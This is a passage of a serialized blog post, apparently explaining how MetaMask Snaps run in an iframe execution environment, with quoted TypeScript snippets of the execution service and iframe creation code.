snaps-controllers\n",{"type":23,"tag":41,"props":35624,"children":35625},{"class":43,"line":54},[35626],{"type":23,"tag":41,"props":35627,"children":35628},{"style":48},[35629],{"type":28,"value":35630},"// ...\n",{"type":23,"tag":41,"props":35632,"children":35633},{"class":43,"line":76},[35634,35638,35643,35647],{"type":23,"tag":41,"props":35635,"children":35636},{"style":64},[35637],{"type":28,"value":846},{"type":23,"tag":41,"props":35639,"children":35640},{"style":858},[35641],{"type":28,"value":35642}," snapExecutionServiceArgs",{"type":23,"tag":41,"props":35644,"children":35645},{"style":170},[35646],{"type":28,"value":3017},{"type":23,"tag":41,"props":35648,"children":35649},{"style":70},[35650],{"type":28,"value":102},{"type":23,"tag":41,"props":35652,"children":35653},{"class":43,"line":85},[35654,35659,35663,35668,35672,35677,35681,35686,35690,35695],{"type":23,"tag":41,"props":35655,"children":35656},{"style":858},[35657],{"type":28,"value":35658},"  iframeUrl:",{"type":23,"tag":41,"props":35660,"children":35661},{"style":64},[35662],{"type":28,"value":31927},{"type":23,"tag":41,"props":35664,"children":35665},{"style":114},[35666],{"type":28,"value":35667}," URL",{"type":23,"tag":41,"props":35669,"children":35670},{"style":70},[35671],{"type":28,"value":1737},{"type":23,"tag":41,"props":35673,"children":35674},{"style":858},[35675],{"type":28,"value":35676},"process",{"type":23,"tag":41,"props":35678,"children":35679},{"style":70},[35680],{"type":28,"value":706},{"type":23,"tag":41,"props":35682,"children":35683},{"style":858},[35684],{"type":28,"value":35685},"env",{"type":23,"tag":41,"props":35687,"children":35688},{"style":70},[35689],{"type":28,"value":706},{"type":23,"tag":41,"props":35691,"children":35692},{"style":858},[35693],{"type":28,"value":35694},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":41,"props":35696,"children":35697},{"style":70},[35698],{"type":28,"value":6735},{"type":23,"tag":41,"props":35700,"children":35701},{"class":43,"line":105},[35702,35707,35712,35716,35721,35725,35730],{"type":23,"tag":41,"props":35703,"children":35704},{"style":858},[35705],{"type":28,"value":35706},"  messenger:",{"type":23,"tag":41,"props":35708,"children":35709},{"style":64},[35710],{"type":28,"value":35711}," this",{"type":23,"tag":41,"props":35713,"children":35714},{"style":70},[35715],{"type":28,"value":706},{"type":23,"tag":41,"props":35717,"children":35718},{"style":858},[35719],{"type":28,"value":35720},"controllerMessenger",{"type":23,"tag":41,"props":35722,"children":35723},{"style":70},[35724],{"type":28,"value":706},{"type":23,"tag":41,"props":35726,"children":35727},{"style":114},[35728],{"type":28,"value":35729},"getRestricted",{"type":23,"tag":41,"props":35731,"children":35732},{"style":70},[35733],{"type":28,"value":15132},{"type":23,"tag":41,"props":35735,"children":35736},{"class":43,"line":155},[35737,35742,35747],{"type":23,"tag":41,"props":35738,"children":35739},{"style":858},[35740],{"type":28,"value":35741},"    name:",{"type":23,"tag":41,"props":35743,"children":35744},{"style":735},[35745],{"type":28,"value":35746}," 'ExecutionService'",{"type":23,"tag":41,"props":35748,"children":35749},{"style":70},[35750],{"type":28,"value":3506},{"type":23,"tag":41,"props":35752,"children":35753},{"class":43,"line":186},[35754],{"type":23,"tag":41,"props":35755,"children":35756},{"style":70},[35757],{"type":28,"value":35758},"  }),\n",{"type":23,"tag":41,"props":35760,"children":35761},{"class":43,"line":195},[35762,35767,35771,35775,35780,35784,35789,35793,35797],{"type":23,"tag":41,"props":35763,"children":35764},{"style":858},[35765],{"type":28,"value":35766},"  setupSnapProvider:",{"type":23,"tag":41,"props":35768,"children":35769},{"style":64},[35770],{"type":28,"value":35711},{"type":23,"tag":41,"props":35772,"children":35773},{"style":70},[35774],{"type":28,"value":706},{"type":23,"tag":41,"props":35776,"children":35777},{"style":858},[35778],{"type":28,"value":35779},"setupSnapProvider",{"type":23,"tag":41,"props":35781,"children":35782},{"style":70},[35783],{"type":28,"value":706},{"type":23,"tag":41,"props":35785,"children":35786},{"style":114},[35787],{"type":28,"value":35788},"bind",{"type":23,"tag":41,"props":35790,"children":35791},{"style":70},[35792],{"type":28,"value":1737},{"type":23,"tag":41,"props":35794,"children":35795},{"style":64},[35796],{"type":28,"value":17680},{"type":23,"tag":41,"props":35798,"children":35799},{"style":70},[35800],{"type":28,"value":6735},{"type":23,"tag":41,"props":35802,"children":35803},{"class":43,"line":905},[35804],{"type":23,"tag":41,"props":35805,"children":35806},{"style":70},[35807],{"type":28,"value":936},{"type":23,"tag":41,"props":35809,"children":35810},{"class":43,"line":922},[35811],{"type":23,"tag":41,"props":35812,"children":35813},{"emptyLinePlaceholder":18},[35814],{"type":28,"value":82},{"type":23,"tag":41,"props":35816,"children":35817},{"class":43,"line":930},[35818],{"type":23,"tag":41,"props":35819,"children":35820},{"style":48},[35821],{"type":28,"value":35822},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":41,"props":35824,"children":35825},{"class":43,"line":939},[35826,35830,35834,35838,35842,35846],{"type":23,"tag":41,"props":35827,"children":35828},{"style":858},[35829],{"type":28,"value":35676},{"type":23,"tag":41,"props":35831,"children":35832},{"style":70},[35833],{"type":28,"value":706},{"type":23,"tag":41,"props":35835,"children":35836},{"style":858},[35837],{"type":28,"value":35685},{"type":23,"tag":41,"props":35839,"children":35840},{"style":70},[35841],{"type":28,"value":706},{"type":23,"tag":41,"props":35843,"children":35844},{"style":858},[35845],{"type":28,"value":35694},{"type":23,"tag":41,"props":35847,"children":35848},{"style":170},[35849],{"type":28,"value":35850}," =\n",{"type":23,"tag":41,"props":35852,"children":35853},{"class":43,"line":947},[35854,35859],{"type":23,"tag":41,"props":35855,"children":35856},{"style":735},[35857],{"type":28,"value":35858},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":41,"props":35860,"children":35861},{"style":70},[35862],{"type":28,"value":183},{"type":23,"tag":41,"props":35864,"children":35865},{"class":43,"line":985},[35866],{"type":23,"tag":41,"props":35867,"children":35868},{"style":48},[35869],{"type":28,"value":35630},{"type":23,"tag":24,"props":35871,"children":35872},{},[35873,35875,35881,35883,35889,35891,35896],{"type":28,"value":35874},"This code is defining the ",{"type":23,"tag":37,"props":35876,"children":35878},{"className":35877},[],[35879],{"type":28,"value":35880},"snapExecutionServiceArgs",{"type":28,"value":35882}," object, which contains information required for the ",{"type":23,"tag":37,"props":35884,"children":35886},{"className":35885},[],[35887],{"type":28,"value":35888},"IframeExecutionService",{"type":28,"value":35890}," to execute snaps. The ",{"type":23,"tag":37,"props":35892,"children":35894},{"className":35893},[],[35895],{"type":28,"value":35694},{"type":28,"value":35897}," points to the location where the execution environment resides.",{"type":23,"tag":18881,"props":35899,"children":35901},{"id":35900},"executing-snaps-iframeexecutionservice-in-action",[35902],{"type":28,"value":35903},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":24,"props":35905,"children":35906},{},[35907,35909,35914,35916,35922],{"type":28,"value":35908},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":37,"props":35910,"children":35912},{"className":35911},[],[35913],{"type":28,"value":35888},{"type":28,"value":35915}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":458,"props":35917,"children":35920},{"href":35918,"rel":35919},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[462],[35921],{"type":28,"value":37},{"type":28,"value":1474},{"type":23,"tag":31,"props":35924,"children":35928},{"className":35925,"code":35926,"language":35927,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[35929],{"type":23,"tag":37,"props":35930,"children":35931},{"__ignoreMap":7},[35932,35940,35969,35999,36052,36089,36096,36103,36111,36118,36125,36133,36168,36176,36232,36294,36302],{"type":23,"tag":41,"props":35933,"children":35934},{"class":43,"line":44},[35935],{"type":23,"tag":41,"props":35936,"children":35937},{"style":48},[35938],{"type":28,"value":35939},"// Register message handlers for snap interactions\n",{"type":23,"tag":41,"props":35941,"children":35942},{"class":43,"line":54},[35943,35947,35951,35956,35960,35965],{"type":23,"tag":41,"props":35944,"children":35945},{"style":64},[35946],{"type":28,"value":17680},{"type":23,"tag":41,"props":35948,"children":35949},{"style":70},[35950],{"type":28,"value":706},{"type":23,"tag":41,"props":35952,"children":35953},{"style":858},[35954],{"type":28,"value":35955},"#messenger",{"type":23,"tag":41,"props":35957,"children":35958},{"style":70},[35959],{"type":28,"value":706},{"type":23,"tag":41,"props":35961,"children":35962},{"style":114},[35963],{"type":28,"value":35964},"registerActionHandler",{"type":23,"tag":41,"props":35966,"children":35967},{"style":70},[35968],{"type":28,"value":3461},{"type":23,"tag":41,"props":35970,"children":35971},{"class":43,"line":76},[35972,35977,35981,35986,35990,35995],{"type":23,"tag":41,"props":35973,"children":35974},{"style":735},[35975],{"type":28,"value":35976},"  `",{"type":23,"tag":41,"props":35978,"children":35979},{"style":64},[35980],{"type":28,"value":34102},{"type":23,"tag":41,"props":35982,"children":35983},{"style":858},[35984],{"type":28,"value":35985},"controllerName",{"type":23,"tag":41,"props":35987,"children":35988},{"style":64},[35989],{"type":28,"value":34134},{"type":23,"tag":41,"props":35991,"children":35992},{"style":735},[35993],{"type":28,"value":35994},":handleRpcRequest`",{"type":23,"tag":41,"props":35996,"children":35997},{"style":70},[35998],{"type":28,"value":3506},{"type":23,"tag":41,"props":36000,"children":36001},{"class":43,"line":85},[36002,36007,36011,36016,36020,36025,36029,36034,36038,36043,36047],{"type":23,"tag":41,"props":36003,"children":36004},{"style":64},[36005],{"type":28,"value":36006},"  async",{"type":23,"tag":41,"props":36008,"children":36009},{"style":70},[36010],{"type":28,"value":142},{"type":23,"tag":41,"props":36012,"children":36013},{"style":858},[36014],{"type":28,"value":36015},"snapId",{"type":23,"tag":41,"props":36017,"children":36018},{"style":170},[36019],{"type":28,"value":1474},{"type":23,"tag":41,"props":36021,"children":36022},{"style":94},[36023],{"type":28,"value":36024}," string",{"type":23,"tag":41,"props":36026,"children":36027},{"style":70},[36028],{"type":28,"value":970},{"type":23,"tag":41,"props":36030,"children":36031},{"style":858},[36032],{"type":28,"value":36033},"options",{"type":23,"tag":41,"props":36035,"children":36036},{"style":170},[36037],{"type":28,"value":1474},{"type":23,"tag":41,"props":36039,"children":36040},{"style":94},[36041],{"type":28,"value":36042}," SnapRpcHookArgs",{"type":23,"tag":41,"props":36044,"children":36045},{"style":70},[36046],{"type":28,"value":866},{"type":23,"tag":41,"props":36048,"children":36049},{"style":64},[36050],{"type":28,"value":36051},"=>\n",{"type":23,"tag":41,"props":36053,"children":36054},{"class":43,"line":105},[36055,36060,36064,36069,36073,36077,36081,36085],{"type":23,"tag":41,"props":36056,"children":36057},{"style":64},[36058],{"type":28,"value":36059},"    this",{"type":23,"tag":41,"props":36061,"children":36062},{"style":70},[36063],{"type":28,"value":706},{"type":23,"tag":41,"props":36065,"children":36066},{"style":114},[36067],{"type":28,"value":36068},"handleRpcRequest",{"type":23,"tag":41,"props":36070,"children":36071},{"style":70},[36072],{"type":28,"value":1737},{"type":23,"tag":41,"props":36074,"children":36075},{"style":858},[36076],{"type":28,"value":36015},{"type":23,"tag":41,"props":36078,"children":36079},{"style":70},[36080],{"type":28,"value":970},{"type":23,"tag":41,"props":36082,"children":36083},{"style":858},[36084],{"type":28,"value":36033},{"type":23,"tag":41,"props":36086,"children":36087},{"style":70},[36088],{"type":28,"value":6735},{"type":23,"tag":41,"props":36090,"children":36091},{"class":43,"line":155},[36092],{"type":23,"tag":41,"props":36093,"children":36094},{"style":70},[36095],{"type":28,"value":3825},{"type":23,"tag":41,"props":36097,"children":36098},{"class":43,"line":186},[36099],{"type":23,"tag":41,"props":36100,"children":36101},{"emptyLinePlaceholder":18},[36102],{"type":28,"value":82},{"type":23,"tag":41,"props":36104,"children":36105},{"class":43,"line":195},[36106],{"type":23,"tag":41,"props":36107,"children":36108},{"style":48},[36109],{"type":28,"value":36110},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":41,"props":36112,"children":36113},{"class":43,"line":905},[36114],{"type":23,"tag":41,"props":36115,"children":36116},{"style":48},[36117],{"type":28,"value":35630},{"type":23,"tag":41,"props":36119,"children":36120},{"class":43,"line":922},[36121],{"type":23,"tag":41,"props":36122,"children":36123},{"emptyLinePlaceholder":18},[36124],{"type":28,"value":82},{"type":23,"tag":41,"props":36126,"children":36127},{"class":43,"line":930},[36128],{"type":23,"tag":41,"props":36129,"children":36130},{"style":48},[36131],{"type":28,"value":36132},"// Execute a snap\n",{"type":23,"tag":41,"props":36134,"children":36135},{"class":43,"line":939},[36136,36141,36146,36150,36155,36159,36164],{"type":23,"tag":41,"props":36137,"children":36138},{"style":858},[36139],{"type":28,"value":36140},"async",{"type":23,"tag":41,"props":36142,"children":36143},{"style":114},[36144],{"type":28,"value":36145}," executeSnap",{"type":23,"tag":41,"props":36147,"children":36148},{"style":70},[36149],{"type":28,"value":1737},{"type":23,"tag":41,"props":36151,"children":36152},{"style":858},[36153],{"type":28,"value":36154},"snapData",{"type":23,"tag":41,"props":36156,"children":36157},{"style":70},[36158],{"type":28,"value":1418},{"type":23,"tag":41,"props":36160,"children":36161},{"style":858},[36162],{"type":28,"value":36163},"SnapExecutionData",{"type":23,"tag":41,"props":36165,"children":36166},{"style":70},[36167],{"type":28,"value":152},{"type":23,"tag":41,"props":36169,"children":36170},{"class":43,"line":947},[36171],{"type":23,"tag":41,"props":36172,"children":36173},{"style":48},[36174],{"type":28,"value":36175},"  // Initialize job, streams, and environment\n",{"type":23,"tag":41,"props":36177,"children":36178},{"class":43,"line":985},[36179,36184,36188,36193,36198,36202,36207,36211,36215,36220,36224,36228],{"type":23,"tag":41,"props":36180,"children":36181},{"style":64},[36182],{"type":28,"value":36183},"  const",{"type":23,"tag":41,"props":36185,"children":36186},{"style":70},[36187],{"type":28,"value":9584},{"type":23,"tag":41,"props":36189,"children":36190},{"style":858},[36191],{"type":28,"value":36192},"jobId",{"type":23,"tag":41,"props":36194,"children":36195},{"style":70},[36196],{"type":28,"value":36197}," } ",{"type":23,"tag":41,"props":36199,"children":36200},{"style":170},[36201],{"type":28,"value":2381},{"type":23,"tag":41,"props":36203,"children":36204},{"style":58},[36205],{"type":28,"value":36206}," await",{"type":23,"tag":41,"props":36208,"children":36209},{"style":64},[36210],{"type":28,"value":35711},{"type":23,"tag":41,"props":36212,"children":36213},{"style":70},[36214],{"type":28,"value":706},{"type":23,"tag":41,"props":36216,"children":36217},{"style":114},[36218],{"type":28,"value":36219},"initJob",{"type":23,"tag":41,"props":36221,"children":36222},{"style":70},[36223],{"type":28,"value":1737},{"type":23,"tag":41,"props":36225,"children":36226},{"style":858},[36227],{"type":28,"value":36154},{"type":23,"tag":41,"props":36229,"children":36230},{"style":70},[36231],{"type":28,"value":3825},{"type":23,"tag":41,"props":36233,"children":36234},{"class":43,"line":1058},[36235,36239,36243,36248,36252,36257,36261,36265,36269,36273,36277,36282,36286,36290],{"type":23,"tag":41,"props":36236,"children":36237},{"style":64},[36238],{"type":28,"value":36183},{"type":23,"tag":41,"props":36240,"children":36241},{"style":70},[36242],{"type":28,"value":9584},{"type":23,"tag":41,"props":36244,"children":36245},{"style":858},[36246],{"type":28,"value":36247},"worker",{"type":23,"tag":41,"props":36249,"children":36250},{"style":70},[36251],{"type":28,"value":970},{"type":23,"tag":41,"props":36253,"children":36254},{"style":858},[36255],{"type":28,"value":36256},"stream",{"type":23,"tag":41,"props":36258,"children":36259},{"style":70},[36260],{"type":28,"value":36197},{"type":23,"tag":41,"props":36262,"children":36263},{"style":170},[36264],{"type":28,"value":2381},{"type":23,"tag":41,"props":36266,"children":36267},{"style":58},[36268],{"type":28,"value":36206},{"type":23,"tag":41,"props":36270,"children":36271},{"style":64},[36272],{"type":28,"value":35711},{"type":23,"tag":41,"props":36274,"children":36275},{"style":70},[36276],{"type":28,"value":706},{"type":23,"tag":41,"props":36278,"children":36279},{"style":114},[36280],{"type":28,"value":36281},"initEnvStream",{"type":23,"tag":41,"props":36283,"children":36284},{"style":70},[36285],{"type":28,"value":1737},{"type":23,"tag":41,"props":36287,"children":36288},{"style":858},[36289],{"type":28,"value":36192},{"type":23,"tag":41,"props":36291,"children":36292},{"style":70},[36293],{"type":28,"value":3825},{"type":23,"tag":41,"props":36295,"children":36296},{"class":43,"line":1084},[36297],{"type":23,"tag":41,"props":36298,"children":36299},{"style":48},[36300],{"type":28,"value":36301},"  // ...\n",{"type":23,"tag":41,"props":36303,"children":36304},{"class":43,"line":1102},[36305],{"type":23,"tag":41,"props":36306,"children":36307},{"style":70},[36308],{"type":28,"value":201},{"type":23,"tag":24,"props":36310,"children":36311},{},[36312,36313,36318,36320,36326],{"type":28,"value":16601},{"type":23,"tag":37,"props":36314,"children":36316},{"className":36315},[],[36317],{"type":28,"value":35888},{"type":28,"value":36319}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":37,"props":36321,"children":36323},{"className":36322},[],[36324],{"type":28,"value":36325},"${controllerName}:executeSnap",{"type":28,"value":36327}," handler triggers the snap execution process.",{"type":23,"tag":18881,"props":36329,"children":36331},{"id":36330},"step-by-step-execution-from-initialization-to-iframe-creation",[36332,36334],{"type":28,"value":36333},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":458,"props":36335,"children":36338},{"href":36336,"rel":36337},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[462],[36339],{"type":28,"value":36340},"creation",{"type":23,"tag":31,"props":36342,"children":36344},{"className":35925,"code":36343,"language":35927,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[36345],{"type":23,"tag":37,"props":36346,"children":36347},{"__ignoreMap":7},[36348,36397,36418,36439,36447,36511,36518,36546,36563,36580,36597,36614,36621,36628,36652],{"type":23,"tag":41,"props":36349,"children":36350},{"class":43,"line":44},[36351,36356,36361,36366,36370,36374,36378,36382,36387,36392],{"type":23,"tag":41,"props":36352,"children":36353},{"style":858},[36354],{"type":28,"value":36355},"protected",{"type":23,"tag":41,"props":36357,"children":36358},{"style":858},[36359],{"type":28,"value":36360}," async",{"type":23,"tag":41,"props":36362,"children":36363},{"style":114},[36364],{"type":28,"value":36365}," initEnvStream",{"type":23,"tag":41,"props":36367,"children":36368},{"style":70},[36369],{"type":28,"value":1737},{"type":23,"tag":41,"props":36371,"children":36372},{"style":858},[36373],{"type":28,"value":36192},{"type":23,"tag":41,"props":36375,"children":36376},{"style":70},[36377],{"type":28,"value":1418},{"type":23,"tag":41,"props":36379,"children":36380},{"style":858},[36381],{"type":28,"value":29663},{"type":23,"tag":41,"props":36383,"children":36384},{"style":70},[36385],{"type":28,"value":36386},"): ",{"type":23,"tag":41,"props":36388,"children":36389},{"style":94},[36390],{"type":28,"value":36391},"Promise",{"type":23,"tag":41,"props":36393,"children":36394},{"style":70},[36395],{"type":28,"value":36396},"\u003C{\n",{"type":23,"tag":41,"props":36398,"children":36399},{"class":43,"line":54},[36400,36405,36409,36414],{"type":23,"tag":41,"props":36401,"children":36402},{"style":858},[36403],{"type":28,"value":36404},"    worker",{"type":23,"tag":41,"props":36406,"children":36407},{"style":170},[36408],{"type":28,"value":1474},{"type":23,"tag":41,"props":36410,"children":36411},{"style":94},[36412],{"type":28,"value":36413}," Window",{"type":23,"tag":41,"props":36415,"children":36416},{"style":70},[36417],{"type":28,"value":183},{"type":23,"tag":41,"props":36419,"children":36420},{"class":43,"line":76},[36421,36426,36430,36435],{"type":23,"tag":41,"props":36422,"children":36423},{"style":858},[36424],{"type":28,"value":36425},"    stream",{"type":23,"tag":41,"props":36427,"children":36428},{"style":170},[36429],{"type":28,"value":1474},{"type":23,"tag":41,"props":36431,"children":36432},{"style":94},[36433],{"type":28,"value":36434}," BasePostMessageStream",{"type":23,"tag":41,"props":36436,"children":36437},{"style":70},[36438],{"type":28,"value":183},{"type":23,"tag":41,"props":36440,"children":36441},{"class":43,"line":85},[36442],{"type":23,"tag":41,"props":36443,"children":36444},{"style":70},[36445],{"type":28,"value":36446},"  }> {\n",{"type":23,"tag":41,"props":36448,"children":36449},{"class":43,"line":105},[36450,36455,36460,36464,36468,36473,36477,36481,36485,36490,36494,36499,36503,36507],{"type":23,"tag":41,"props":36451,"children":36452},{"style":70},[36453],{"type":28,"value":36454},"    const ",{"type":23,"tag":41,"props":36456,"children":36457},{"style":858},[36458],{"type":28,"value":36459},"iframeWindow",{"type":23,"tag":41,"props":36461,"children":36462},{"style":170},[36463],{"type":28,"value":3017},{"type":23,"tag":41,"props":36465,"children":36466},{"style":58},[36467],{"type":28,"value":36206},{"type":23,"tag":41,"props":36469,"children":36470},{"style":114},[36471],{"type":28,"value":36472}," createWindow",{"type":23,"tag":41,"props":36474,"children":36475},{"style":70},[36476],{"type":28,"value":1737},{"type":23,"tag":41,"props":36478,"children":36479},{"style":64},[36480],{"type":28,"value":17680},{"type":23,"tag":41,"props":36482,"children":36483},{"style":70},[36484],{"type":28,"value":706},{"type":23,"tag":41,"props":36486,"children":36487},{"style":858},[36488],{"type":28,"value":36489},"iframeUrl",{"type":23,"tag":41,"props":36491,"children":36492},{"style":70},[36493],{"type":28,"value":706},{"type":23,"tag":41,"props":36495,"children":36496},{"style":114},[36497],{"type":28,"value":36498},"toString",{"type":23,"tag":41,"props":36500,"children":36501},{"style":70},[36502],{"type":28,"value":18363},{"type":23,"tag":41,"props":36504,"children":36505},{"style":858},[36506],{"type":28,"value":36192},{"type":23,"tag":41,"props":36508,"children":36509},{"style":70},[36510],{"type":28,"value":3825},{"type":23,"tag":41,"props":36512,"children":36513},{"class":43,"line":155},[36514],{"type":23,"tag":41,"props":36515,"children":36516},{"emptyLinePlaceholder":18},[36517],{"type":28,"value":82},{"type":23,"tag":41,"props":36519,"children":36520},{"class":43,"line":186},[36521,36525,36529,36533,36537,36542],{"type":23,"tag":41,"props":36522,"children":36523},{"style":70},[36524],{"type":28,"value":36454},{"type":23,"tag":41,"props":36526,"children":36527},{"style":858},[36528],{"type":28,"value":36256},{"type":23,"tag":41,"props":36530,"children":36531},{"style":170},[36532],{"type":28,"value":3017},{"type":23,"tag":41,"props":36534,"children":36535},{"style":64},[36536],{"type":28,"value":31927},{"type":23,"tag":41,"props":36538,"children":36539},{"style":114},[36540],{"type":28,"value":36541}," WindowPostMessageStream",{"type":23,"tag":41,"props":36543,"children":36544},{"style":70},[36545],{"type":28,"value":15132},{"type":23,"tag":41,"props":36547,"children":36548},{"class":43,"line":195},[36549,36554,36559],{"type":23,"tag":41,"props":36550,"children":36551},{"style":858},[36552],{"type":28,"value":36553},"      name:",{"type":23,"tag":41,"props":36555,"children":36556},{"style":735},[36557],{"type":28,"value":36558}," 'parent'",{"type":23,"tag":41,"props":36560,"children":36561},{"style":70},[36562],{"type":28,"value":3506},{"type":23,"tag":41,"props":36564,"children":36565},{"class":43,"line":905},[36566,36571,36576],{"type":23,"tag":41,"props":36567,"children":36568},{"style":858},[36569],{"type":28,"value":36570},"      target:",{"type":23,"tag":41,"props":36572,"children":36573},{"style":735},[36574],{"type":28,"value":36575}," 'child'",{"type":23,"tag":41,"props":36577,"children":36578},{"style":70},[36579],{"type":28,"value":3506},{"type":23,"tag":41,"props":36581,"children":36582},{"class":43,"line":922},[36583,36588,36593],{"type":23,"tag":41,"props":36584,"children":36585},{"style":858},[36586],{"type":28,"value":36587},"      targetWindow:",{"type":23,"tag":41,"props":36589,"children":36590},{"style":858},[36591],{"type":28,"value":36592}," iframeWindow",{"type":23,"tag":41,"props":36594,"children":36595},{"style":70},[36596],{"type":28,"value":3506},{"type":23,"tag":41,"props":36598,"children":36599},{"class":43,"line":930},[36600,36605,36610],{"type":23,"tag":41,"props":36601,"children":36602},{"style":858},[36603],{"type":28,"value":36604},"      targetOrigin:",{"type":23,"tag":41,"props":36606,"children":36607},{"style":735},[36608],{"type":28,"value":36609}," '*'",{"type":23,"tag":41,"props":36611,"children":36612},{"style":70},[36613],{"type":28,"value":3506},{"type":23,"tag":41,"props":36615,"children":36616},{"class":43,"line":939},[36617],{"type":23,"tag":41,"props":36618,"children":36619},{"style":70},[36620],{"type":28,"value":32251},{"type":23,"tag":41,"props":36622,"children":36623},{"class":43,"line":947},[36624],{"type":23,"tag":41,"props":36625,"children":36626},{"emptyLinePlaceholder":18},[36627],{"type":28,"value":82},{"type":23,"tag":41,"props":36629,"children":36630},{"class":43,"line":985},[36631,36636,36640,36644,36648],{"type":23,"tag":41,"props":36632,"children":36633},{"style":70},[36634],{"type":28,"value":36635},"    return { worker: ",{"type":23,"tag":41,"props":36637,"children":36638},{"style":858},[36639],{"type":28,"value":36459},{"type":23,"tag":41,"props":36641,"children":36642},{"style":70},[36643],{"type":28,"value":970},{"type":23,"tag":41,"props":36645,"children":36646},{"style":858},[36647],{"type":28,"value":36256},{"type":23,"tag":41,"props":36649,"children":36650},{"style":70},[36651],{"type":28,"value":18287},{"type":23,"tag":41,"props":36653,"children":36654},{"class":43,"line":1058},[36655],{"type":23,"tag":41,"props":36656,"children":36657},{"style":70},[36658],{"type":28,"value":5872},{"type":23,"tag":24,"props":36660,"children":36661},{},[36662,36664,36670,36672,36679],{"type":28,"value":36663},"Here the iframe is created via ",{"type":23,"tag":37,"props":36665,"children":36667},{"className":36666},[],[36668],{"type":28,"value":36669},"createWindow",{"type":28,"value":36671},", which is defined in snaps-utils ",{"type":23,"tag":458,"props":36673,"children":36676},{"href":36674,"rel":36675},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[462],[36677],{"type":28,"value":36678},"package",{"type":28,"value":1474},{"type":23,"tag":31,"props":36681,"children":36683},{"className":35925,"code":36682,"language":35927,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[36684],{"type":23,"tag":37,"props":36685,"children":36686},{"__ignoreMap":7},[36687,36730,36768,36805,36812,36832,36870,36877,36914],{"type":23,"tag":41,"props":36688,"children":36689},{"class":43,"line":44},[36690,36694,36699,36703,36708,36712,36717,36721,36726],{"type":23,"tag":41,"props":36691,"children":36692},{"style":64},[36693],{"type":28,"value":846},{"type":23,"tag":41,"props":36695,"children":36696},{"style":858},[36697],{"type":28,"value":36698}," iframe",{"type":23,"tag":41,"props":36700,"children":36701},{"style":170},[36702],{"type":28,"value":3017},{"type":23,"tag":41,"props":36704,"children":36705},{"style":858},[36706],{"type":28,"value":36707}," document",{"type":23,"tag":41,"props":36709,"children":36710},{"style":70},[36711],{"type":28,"value":706},{"type":23,"tag":41,"props":36713,"children":36714},{"style":114},[36715],{"type":28,"value":36716},"createElement",{"type":23,"tag":41,"props":36718,"children":36719},{"style":70},[36720],{"type":28,"value":1737},{"type":23,"tag":41,"props":36722,"children":36723},{"style":735},[36724],{"type":28,"value":36725},"'iframe'",{"type":23,"tag":41,"props":36727,"children":36728},{"style":70},[36729],{"type":28,"value":3825},{"type":23,"tag":41,"props":36731,"children":36732},{"class":43,"line":54},[36733,36738,36742,36747,36751,36756,36760,36764],{"type":23,"tag":41,"props":36734,"children":36735},{"style":858},[36736],{"type":28,"value":36737},"    iframe",{"type":23,"tag":41,"props":36739,"children":36740},{"style":70},[36741],{"type":28,"value":706},{"type":23,"tag":41,"props":36743,"children":36744},{"style":114},[36745],{"type":28,"value":36746},"setAttribute",{"type":23,"tag":41,"props":36748,"children":36749},{"style":70},[36750],{"type":28,"value":1737},{"type":23,"tag":41,"props":36752,"children":36753},{"style":735},[36754],{"type":28,"value":36755},"'id'",{"type":23,"tag":41,"props":36757,"children":36758},{"style":70},[36759],{"type":28,"value":970},{"type":23,"tag":41,"props":36761,"children":36762},{"style":858},[36763],{"type":28,"value":3484},{"type":23,"tag":41,"props":36765,"children":36766},{"style":70},[36767],{"type":28,"value":3825},{"type":23,"tag":41,"props":36769,"children":36770},{"class":43,"line":76},[36771,36775,36779,36783,36787,36792,36796,36801],{"type":23,"tag":41,"props":36772,"children":36773},{"style":858},[36774],{"type":28,"value":36737},{"type":23,"tag":41,"props":36776,"children":36777},{"style":70},[36778],{"type":28,"value":706},{"type":23,"tag":41,"props":36780,"children":36781},{"style":114},[36782],{"type":28,"value":36746},{"type":23,"tag":41,"props":36784,"children":36785},{"style":70},[36786],{"type":28,"value":1737},{"type":23,"tag":41,"props":36788,"children":36789},{"style":735},[36790],{"type":28,"value":36791},"'data-testid'",{"type":23,"tag":41,"props":36793,"children":36794},{"style":70},[36795],{"type":28,"value":970},{"type":23,"tag":41,"props":36797,"children":36798},{"style":735},[36799],{"type":28,"value":36800},"'snaps-iframe'",{"type":23,"tag":41,"props":36802,"children":36803},{"style":70},[36804],{"type":28,"value"